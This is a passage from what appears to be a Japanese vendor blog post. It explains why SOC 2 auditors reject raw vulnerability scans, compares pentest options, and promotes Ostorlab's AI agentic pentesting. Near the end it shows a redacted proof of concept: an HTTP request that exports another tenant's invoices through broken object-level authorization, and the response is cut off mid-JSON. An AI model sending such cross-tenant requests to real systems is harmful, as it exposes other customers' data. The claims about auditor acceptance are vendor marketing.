h;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;  &amp;boxv;
&amp;boxv;  &amp;boxv; 1. Independent Third-Party Letter of Attestation (LoA) (Signed, &amp;lt; 12 months)      &amp;boxv;  &amp;boxv;
&amp;boxv;  &amp;boxv; 2. Scoping Document (Production Web, APIs, Mobile Apps, Cloud Boundaries)          &amp;boxv;  &amp;boxv;
&amp;boxv;  &amp;boxv; 3. Remediation Verification (Zero unresolved Critical / High findings)             &amp;boxv;  &amp;boxv;
&amp;boxv;  &amp;boxv; 4. Recognized Methodology (OWASP Top 10, OWASP WSTG, NIST SP 800-115, PTES)        &amp;boxv;  &amp;boxv;
&amp;boxv;  &amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;  &amp;boxv;
&amp;boxv;            &amp;boxv;                                                                            &amp;boxv;
&amp;boxv;            &amp;boxvr;&amp;boxh;► Raw Scanner Export (Nessus/ZAP) &amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;► REJECTED (Deal Blocked)      &amp;boxv;
&amp;boxv;            &amp;boxv;                                                                            &amp;boxv;
&amp;boxv;            &amp;boxur;&amp;boxh;► AI Pentest Attestation + PoC Traces &amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;► APPROVED (Deal Unblocked)    &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;企業の調達審査を通過するには、ペネトレーションテストのパッケージが次の4つの譲れない基準を満たす必要があります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;第三者としての構造的な独立性&lt;/strong&gt;：自己評価、社内のエンジニアリングレビュー、自社の開発者が実行したツールの生の出力は、即座に審査で不合格となります。購入側は、外部による客観的な評価を求めています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;包括的なスコープの整合&lt;/strong&gt;：テストスコープは、顧客データを保存する本番環境の境界を反映していなければなりません。アーキテクチャにWebダッシュボード、バックエンドのRESTまたはGraphQLマイクロサービス、モバイルアプリケーション（iOS/Android）が含まれている場合、Webのマーケティング用ドメインだけをテストすると監査上の例外事項となります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;標準化されたテスト手法&lt;/strong&gt;：アセスメントでは、NIST SP 800-115、OWASP Web Security Testing Guide（WSTG）、OWASP API Security Top 10、OWASP Mobile Application Security Verification Standard（MASVS）など、認知された業界フレームワークを引用する必要があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修復と再テストによる検証の文書化&lt;/strong&gt;：企業の購入側は、重大度がクリティカルまたは高の未解決の脆弱性を抱えるベンダーを失格とします。初回のテストで欠陥が見つかった場合、パッケージには修正完了を示す検証済みの再テスト文書を含める必要があります。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="soc 2監査人が自動脆弱性スキャンを却下する理由"&gt;SOC 2監査人が自動脆弱性スキャンを却下する理由&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;SOC 2監査人が自動脆弱性スキャンをペネトレーションテストの代わりとして認めないのは、AICPAのトラストサービス規準（Trust Services Criteria）が、脆弱性の検出（CC7.1）と運用上の統制の評価（CC4.1）を分けているためです&lt;/strong&gt;。自動スキャンは既知の脆弱性を特定するという要件（CC7.1）を満たしますが、監査人と企業のセキュリティチームは、内部統制が攻撃者からの圧力のもとで機能するかどうかを能動的に検証する独立した評価（CC4.1）を求めます。これは、単独のスキャナーによるチェックでは満たせない基準です。&lt;/p&gt;
&lt;p&gt;創業者からは、Nessus、Qualys、OWASP ZAPといった自動脆弱性スキャナーを実行すれば、SOC 2コンプライアンスのペネトレーションテスト要件を満たせるのかという質問がよく寄せられます。実際には、SOC 2監査人は自動脆弱性スキャンとペネトレーションテストを区別しています。スキャンは既知のシグネチャに基づいて潜在的な欠陥を特定するものであるのに対し、ペネトレーションテストでは、制御を回避できるかどうかを能動的に検証し、エクスプロイトが成立することを実証する必要があります。&lt;/p&gt;
&lt;p&gt;その理由は、米国公認会計士協会（AICPA）のトラストサービス規準（TSP Section 100）の文言そのものにあります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv;                       AICPA TRUST SERVICES CRITERIA &amp;amp; AUDIT MAPPING                     &amp;boxv;
&amp;boxvr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxhd;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxvl;
&amp;boxv; CC7.1: Vulnerability Identification      &amp;boxv; CC4.1: Monitoring &amp;amp; Separate Evaluations     &amp;boxv;
&amp;boxvr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxvh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxvl;
&amp;boxv; &amp;bull; Goal: Detect vulnerabilities &amp;amp; patches &amp;boxv; &amp;bull; Goal: Evaluate if controls actually WORK   &amp;boxv;
&amp;boxv; &amp;bull; Tooling: Vulnerability Scanners        &amp;boxv; &amp;bull; Tooling: Penetration Testing               &amp;boxv;
&amp;boxv;   (Nessus, Qualys, Trivy, Dependabot)    &amp;boxv;   (Autonomous Agents + Human Validation)     &amp;boxv;
&amp;boxv; &amp;bull; Mechanism: Version checks &amp;amp; signatures &amp;boxv; &amp;bull; Mechanism: Active Adversary Simulation     &amp;boxv;
&amp;boxv; &amp;bull; Artifact: Scan summaries, patch logs   &amp;boxv; &amp;bull; Artifact: Proof of Concept (PoC), LoA      &amp;boxv;
&amp;boxv; &amp;bull; Audit Role: Core Evidence for CC7.1    &amp;boxv; &amp;bull; Audit Role: Industry Benchmark for CC4.1   &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxhu;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="cc7.1とcc4.1の違い"&gt;CC7.1とCC4.1の違い&lt;/h3&gt;
&lt;p&gt;トラストサービス規準は、脆弱性管理と運用上の統制のテストを分けています。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CC7.1（システム運用：脆弱性管理）&lt;/strong&gt;：構成の変更やシステムの脆弱性を特定するための検出手順を実装することを事業体に求めます。自動脆弱性スキャン、依存関係のチェック、コンテナイメージのスキャンは、チームが既知のソフトウェアの欠陥をスキャンしていることを示すことでCC7.1を満たします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CC4.1（COSO原則16：日常的評価および独立的評価）&lt;/strong&gt;：内部統制の構成要素が存在し、能動的な圧力のもとで機能しているかを確かめるための独立した評価を求めます。セキュリティポリシーを確認すれば、ルールが書面上存在することは確認できます。稼働中のアプリケーションを攻撃すれば、その制御が不正アクセスに実際に耐えられることを確認できます。AICPAの規準はペネトレーションテストを名指しで義務付けてはいませんが、監査人と企業のTPRMチームは、独立したペネトレーションテストをCC4.1の評価を裏付ける標準的な統制活動として扱っています。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="生の脆弱性スキャンが抱える4つの構造的欠陥"&gt;生の脆弱性スキャンが抱える4つの構造的欠陥&lt;/h3&gt;
&lt;p&gt;生の脆弱性スキャンがCC4.1の基準を満たせない理由は、次の4つです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;悪用の実証がまったくない&lt;/strong&gt;：スキャナーはソフトウェアのバナーや正規表現パターンを照合し、推測に基づく仮説（「Apacheの欠陥の可能性」など）を出力します。エンドポイントが到達可能か、実行可能か、上流のファイアウォールで保護されているかを確かめるために攻撃を実行することはありません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ビジネスロジックの欠陥をテストできない&lt;/strong&gt;：スキャナーは個々のHTTPリクエストを単独で送信します。オブジェクトレベルの認可の不備（BOLA/IDOR）、マルチテナント環境でのデータ漏えい、認証済みロール間の権限昇格といった、複数ステップにわたる認可ワークフローを評価することはできません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;誤検知率が高い&lt;/strong&gt;：自動スキャナーは日常的に20%から50%の誤検知（フォールスポジティブ）によるノイズを生み出します。CPA監査人は検証されていないアラートのトリアージを拒否するため、ベンダー側が手作業で妥当性を証明しなければなりません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻撃者の視点が欠けている&lt;/strong&gt;：監査人は、攻撃者が複数の低重大度の問題を連鎖させて、重大なデータ持ち出しの経路を作れないことを示すエビデンスを求めます。スキャナーはパラメーターを個別に評価するため、攻撃ステップを連鎖させることができません。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="監査で受け入れられるための記名による説明責任の役割"&gt;監査で受け入れられるための記名による説明責任の役割&lt;/h3&gt;
&lt;p&gt;監査人は、実行時にAIツールが使われたかどうかでアセスメントを判断するわけではありません。評価するのは、エビデンスの信頼性、手法の透明性、そして&lt;strong&gt;記名された人間による説明責任&lt;/strong&gt;です。人間の監督なしに、検証されていない自動スクリプトだけで生成されたレポートは、検証されていない自己評価として受け止められます。&lt;/p&gt;
&lt;p&gt;監査基準を満たすには、アセスメントのパッケージに次のものが必要です。
* 実際の影響を示す、検証可能なリクエストとレスポンスによる実証。
* 確立された基準に対応付けられた、文書化され検査可能な手法。
* 検出結果の正確性を検証し、証明書に署名する、記名された有資格者によるレビュー。
* SOC 2のシステム記述書に直接対応付けられた、明確なスコープの境界。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="選択肢の評価:従来のコンサルティング会社、スキャナー、ostorlab aiペンテストの比較"&gt;選択肢の評価：従来のコンサルティング会社、スキャナー、Ostorlab AIペンテストの比較&lt;/h2&gt;
&lt;p&gt;ペネトレーションテストの選択肢を検討するスタートアップには、3つの異なる提供モデルがあります。それぞれの構造的な違いを理解することで、営業のスピードとコンプライアンスの厳密さに合ったアプローチを選べます。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;評価軸&lt;/th&gt;
&lt;th style="text-align: left;"&gt;従来のブティック型コンサルティング会社&lt;/th&gt;
&lt;th style="text-align: left;"&gt;生の自動脆弱性スキャナー&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ostorlab AIペンテスト（Agentic Deep Scan）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;所要期間&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;3～5週間（日程調整とレポート作成）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1～4時間&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;見積もり5～7日（Core）、より大きなスコープでは10～20日&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;一般的な費用&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アセスメント1回あたり15,000ドル～40,000ドル以上&lt;/td&gt;
&lt;td style="text-align: left;"&gt;年間ライセンス2,000ドル～8,000ドル&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;499ドルから（Coreパッケージ、アセットのスコープに応じて変動）&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;監査人による受け入れ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;受け入れられる（従来の標準）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;却下される&lt;/strong&gt;（CC4.1の基準を満たさない）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;主要な監査人が受け入れ&lt;/strong&gt;（PoCによる実証と検証済みのLoA）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;エクスプロイトの検証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;手作業のメモとスクリーンショット&lt;/td&gt;
&lt;td style="text-align: left;"&gt;なし（仮説的なパターン一致）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;決定論的なエクスプロイトの実証&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;誤検知率&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;低（手作業で除外）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;高（20%～50%以上）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;低（エクスプロイトの実証により検証）&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;スコープのカバレッジ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Webまたは単一のAPIに限定されることが多い&lt;/td&gt;
&lt;td style="text-align: left;"&gt;表層的なパラメーターのファジング&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;統合マルチアセット：Web、API、モバイル、クラウド&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;修復後の再テスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1～3週間の遅れ（追加料金）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;速いが検証されない&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ワンクリックで即時に実行できるRisk Reruns&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;人間による検証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;含まれる（手動テスト）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;なし（ソフトウェアの出力のみ）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;AIエージェントによるエクスプロイト検証。人間による検証のオプションは&lt;a href="https://ostorlab.co/plans"&gt;プラン&lt;/a&gt;を参照&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;SOC 2 Type 2への適合性&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ある一時点の静的なスナップショット&lt;/td&gt;
&lt;td style="text-align: left;"&gt;頻繁なスキャンだが深さは浅い&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;リリースサイクルをまたいだ継続的なテスト&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="ostorlabがコンサルティングの待ち時間なしに監査レベルの厳密さを実現する方法"&gt;Ostorlabがコンサルティングの待ち時間なしに監査レベルの厳密さを実現する方法&lt;/h2&gt;
&lt;p&gt;Ostorlabは、自律型のAgentic Deep Scan技術とエクスプロイト検証を組み合わせています。仮説的なアラートを生成するのではなく、自律エージェントがアプリケーションの状態を探索し、文脈に即した攻撃仮説を立て、検証済みのエクスプロイトを実行します。確定した検出結果にはそれぞれ、実際に動作するエクスプロイトが添えられます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="エグゼクティブ向けのリスク評価、対象アーキテクチャのスコープ、スキャン所要時間、分類された検出結果を示すOstorlab Agentic Deep Scanのアセスメントレポート概要" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-11_fastest_way_audit_ready_pentest_soc2/scan_report_overview.png" title="Ostorlab Agentic Deep Scanのアセスメントレポート概要"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Ostorlab Agentic Deep Scanのアセスメントレポート概要&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図1：Ostorlab Agentic Deep Scanのアセスメントレポート概要。ダッシュボードには、全体的なリスク評価、対象アーキテクチャのスコープ、スキャン所要時間、そして監査人による確認にそのまま使える分類済みの脆弱性の内訳が表示されます。&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="1. 決定論的な悪用可能性の実証(poc)"&gt;1. 決定論的な悪用可能性の実証（PoC）&lt;/h3&gt;
&lt;p&gt;監査人と企業のレビュー担当者は、検証可能なエビデンスを求めます。Ostorlabの検出結果は、主観的な信頼度スコアに頼りません。報告されるすべての検出結果には、対象アセットに合わせた決定論的な実証が、正確な根本原因分析とあわせて提供されます。WebとAPIについてはcurlコマンド付きの完全なHTTPリクエストとレスポンスのペア、モバイルアプリケーションについてはIPCトリガーと実行時ログ、コードレベルの問題については検証済みの実行パスです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="重大度、根本原因の説明、脆弱なコードのトレース、トリアージのワークフローを示す、機密情報を除去したAgentic Deep Scanの検出結果の詳細" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-11_fastest_way_audit_ready_pentest_soc2/critical_finding_detail.png" title="機密情報を除去したAgentic Deep Scanの検出結果の詳細"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;機密情報を除去したAgentic Deep Scanの検出結果の詳細&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図2：Ostorlabプラットフォーム内の検出結果の詳細ビュー。レポートでは重大度、根本原因の確認、影響を受けるコードパス、明確な再現手順が示されるため、開発者は曖昧さなく根本的な欠陥を修正できます。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;認証済みAPIのアセスメント中に発見された、機密情報を除去したオブジェクトレベルの認可の不備（BOLA）の検出結果を見てみましょう。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/api/v2/workspaces/ws_89234/billing/invoices&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;target-api.internal-saas.com&lt;/span&gt;
&lt;span class="na"&gt;Authorization&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"target_tenant_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tenant_enterprise_7710"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"request_export"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;サーバーのレスポンスから、組織の境界を越えてテナントのデータが持ち出されたことが確認できます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;
&lt;span class="na"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Fri, 11 Sep 2026 14:22:04 GMT&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"tenant_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tenant_enterprise_7710"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"invoices"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
